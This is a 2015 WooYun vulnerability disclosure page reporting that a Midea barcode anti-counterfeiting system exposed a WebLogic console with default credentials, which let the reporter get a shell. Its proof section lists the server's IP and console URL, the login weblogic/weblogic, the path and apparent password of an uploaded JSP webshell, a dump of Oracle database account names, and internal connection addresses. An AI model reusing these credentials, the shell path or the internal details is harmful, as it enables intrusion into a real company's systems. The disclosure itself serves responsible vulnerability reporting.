当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0131854

漏洞标题：美的某产品条形码防伪系统Getshell，可影响内网数据

相关厂商：midea.com

漏洞作者： DC3

提交时间：2015-08-05 15:44

修复时间：2015-09-21 15:42

公开时间：2015-09-21 15:42

漏洞类型：服务弱口令

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-05： 细节已通知厂商并且等待厂商处理中
2015-08-07： 厂商已经确认，细节仅向厂商公开
2015-08-17： 细节向核心白帽子及相关领域专家公开
2015-08-27： 细节向普通白帽子公开
2015-09-06： 细节向实习白帽子公开
2015-09-21： 细节向公众公开

简要描述：

唉

详细说明：

QQ截图20150805124218.jpg


QQ截图20150805125156.jpg


weblogic的jdbc配置

QQ截图20150805130512.jpg


QQ截图20150805125452.jpg


下面2个盘估计是放数据的

df.jpg


uname.jpg


tiaoma.jpg


chaxun.jpg

漏洞证明：

http://58.252.101.35:8001/console weblogic/weblogic登陆getshell
http://58.252.101.35:8001/BS_CWBCS/j.jsp 2bd4

root.jpg


IJ9~5[}]UR1D2[KG@I(A2_Q.png


Query#0 : select username from dba_users
USERNAME
VARCHAR2
SCOTT
MDDATA
DIP
TSMSYS
MDSYS
ORDPLUGINS
OLAPSYS
ORDSYS
WMSYS
DMSYS
ANONYMOUS
CTXSYS
SI_INFORMTN_SCHEMA
XDB
EXFSYS
OUTLN
USER_BAK
APPSCRM
CC_DBO
MDSHOP_DRM
MDSHOP
MDCSSCIOI
MDCSSCI
CC_INTERFACE_WBDQ
MDCSSCI_DRM
CC_MDCSSCI
CC_INTERFACE
ZHUHUA
LIAOJIE
WANGQIAN
ZHENGHL
SEAN
CWWMS
MDBCS
RDKF
CSS
CSS_SEARCH
EPM
WBCSSOI
YFS
BCS_QUERY
ITSM
MONITOR
CALL_RPT
CE_BCS
CSS_BASE
RDCSS_HPS
ANNTO
RD_SEARCH
KSIVAN
RDRIS
JIANGJIN
A3_IO
CSS_WEB
WZL
SYSMAN
SYSTEM
SYS
MGMT_VIEW
DBSNMP
172.16.16.119.38440  10.16.8.163:1529     49640      0 49640      0 ESTABLISHED
172.16.16.119.65132  10.16.16.79:1525     49640      0 49640      0 ESTABLISHED
172.16.16.119.65139  10.16.8.163:1526     49640      0 49640      0 ESTABLISHED
172.16.16.119.65140  10.16.16.86:1522     49640      0 49640      0 ESTABLISHED

修复方案：

版权声明：转载请注明来源 DC3@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-08-07 15:41

厂商回复：

感谢DC3@乌云的提醒，我们目前正在确认。

最新状态：

暂无